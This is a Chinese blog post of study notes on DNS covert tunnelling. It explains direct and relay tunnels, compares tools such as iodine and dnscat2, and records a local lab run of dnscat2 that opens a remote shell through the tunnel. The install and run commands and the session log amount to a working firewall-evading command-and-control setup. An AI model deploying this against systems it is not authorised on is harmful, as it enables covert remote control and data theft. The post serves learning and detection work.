DNS隐蔽隧道

一 前言

DNS上节说到,主要用来做域名解析的,但是黑客却可以通过将其他协议的内容封装再DNS协议中,然后通过DNS请求和响应来传输数据和完成控制,DNS服务作为互联网上最普遍的服务,防火墙和入侵检测设备一般都会放行,这就给黑客们有了可乘之机,以下为学习笔记。

二 DNS隧道的方式

2.1 分类

目前DNS隧道目前按照连接方式来分:直连隧道和中继隧道。
直连隧道 :用户直接和控制服务器通过DNS连接,由于直连不经过其他DNS服务器,所以速度快,但是很多用户是对DNS服务器是有配置要求的,只能配置特定的服务器,配置其他的DNS服务器不准许;另外这种方式由于直接连接的,很容易暴漏攻击服务器。

中继隧道: 利用DNS迭代查询方式,中间通过多个DNS服务器的跳转,跳转到最终的控制机,整个解析过程更长,所以性能没有直连好,还要防止DNS缓存。

DNS隧道

2.2 开源工具

网上有不少开源工具实现了DNS的隧道,对比如下:

软件名称 开发语言 特点 推荐
OzymanDNS perl 只有最初版本 不推荐
tcp-over-dns JAVA 跨平台 比较老
iodine C 直连和中继都支持速度快支持编码和请求类型 推荐
dns2tcp C 只直连未实现命令 不推荐
Dnscat2 客户端C服务器ruby 支持加密隧道,功能强大 推荐

2.3 关键技术

  • 在两种DNS 隧道中,用的最多的是中继方式,能让DNS服务器做递归查询,则需要每次查询均采用不同域名的,一句话是每次采用新域名的方式来保证走DNS查询。
  • 大多数场景 是服务器端没办法连客户端,因为防火墙或内网原因,所以多是通过客户端定时连接服务器端来保持状态。

三 实践

为了更好理解软件工作,二是为了获取相关的报文,准备搭建两个尝试下整个过程。
以更常用的Dnscat2为例测试,我以自己的windows机器来作为被控制方,里面的centos机器作为控制方测试。

3.1 安装

#windows下客户端下载地址
#解压密码为password ,windows下只有32位的。
https://downloads.skullsecurity.org/dnscat2/


#linux下服务器端安装
#安装ruby
$ yum install ruby
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/server/
$ gem install bundler
$ bundle install


3.2 运行

服务器端为ruby开发,所以需要先安装ruby才可以运行,因为只是简单测试,走直连模式,可以直接运行:

#缺了不少库采用以下方式安装
gem install ecdsa
gem install sha3
gem install salsa20
gem install trollop
gem install trollop

#服务器端命令
ruby ./dnscat2.rb  --secret 12345

#客户端命令
 ./dnscat --dns server=127.0.0.1,port=53 --secret=12345

3.3 遇到问题

[[ ERROR ]] :: DNS: RCODE_NAME_ERROR

可能原因,默认有密码的是随机的,所以最好指定密码,不然连不上。

/home/miaohq/dns2cat/dnscat2/server/tunnel_drivers/driver_dns.rb:316: warning: Capturing the given block using Kernel#proc is deprecated; use `&block` instead
New window created: 1
/home/miaohq/dns2cat/dnscat2/server/libs/settings.rb:166: warning: Capturing the given block using Kernel#proc is deprecated; use `&block` instead

查了半天竟然是ruby用的版本2.7的问题造成的调用警告。

输入:

#进入交互状态
session -i 1
#输入shell进入交互
command (localhost.localdomain) 1> shell
Sent request to execute a shell
command (localhost.localdomain) 1> New window created: 2
Shell session created!
#看下shell信息
dnscat2> windows
0 :: main [active]
  crypto-debug :: Debug window for crypto stuff [*]
  dns1 :: DNS Driver running on 0.0.0.0:53 domains =  [*]
  1 :: command (localhost.localdomain) [encrypted and verified]
  2 :: sh (localhost.localdomain) [encrypted and verified] [*]
#切换到shell
dnscat2> session -i 2
New window created: 2
history_size (session) => 1000
Session 2 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a console session!
#输入命令:
sh (localhost.localdomain) 2> pwd
sh (localhost.localdomain) 2> /home/test/dns2cat/dnscat2/client

简单的过程:


DNS隧道利用

四 参考

https://blog.csdn.net/localhost01/column/info/32978

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 217,657评论 6 505
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,889评论 3 394
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 164,057评论 0 354
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,509评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,562评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,443评论 1 302
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,251评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,129评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,561评论 1 314
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,779评论 3 335
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,902评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,621评论 5 345
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,220评论 3 328
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,838评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,971评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,025评论 2 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,843评论 2 354

推荐阅读更多精彩内容

  • 前言 关于DNS隧道的一些简单研究和利用。 DNS协议基础 域名系统(服务)协议(DNS)是一种分布式网络,主要用...
    Tide_诺言阅读 3,018评论 0 8
  • 1、前言 在当下互联网时代,我们日常生活和工作基本都离开不域名和 DNS ,如通过一个网址打开一个网站进行购物、使...
    cinder_lv阅读 3,554评论 1 27
  • 目录: 一些基本概念主机名DNS名称解析DNS 解析的后端存储名称解析总结 大规模域名解析的体系架构DNS 解析需...
    C86guli阅读 12,495评论 3 34
  • 前言 本文开始介绍应用层,传输层为应用进程提供了端到端的通信服务,但不同的网络应用的应用进程之间,还需要有不同的通...
    HRADPX阅读 1,974评论 2 5
  • @@@时间 2013-12-24 14:50:00** 博客园-原创精华区 原文 http://www.cn...
    苏文星阅读 1,407评论 0 7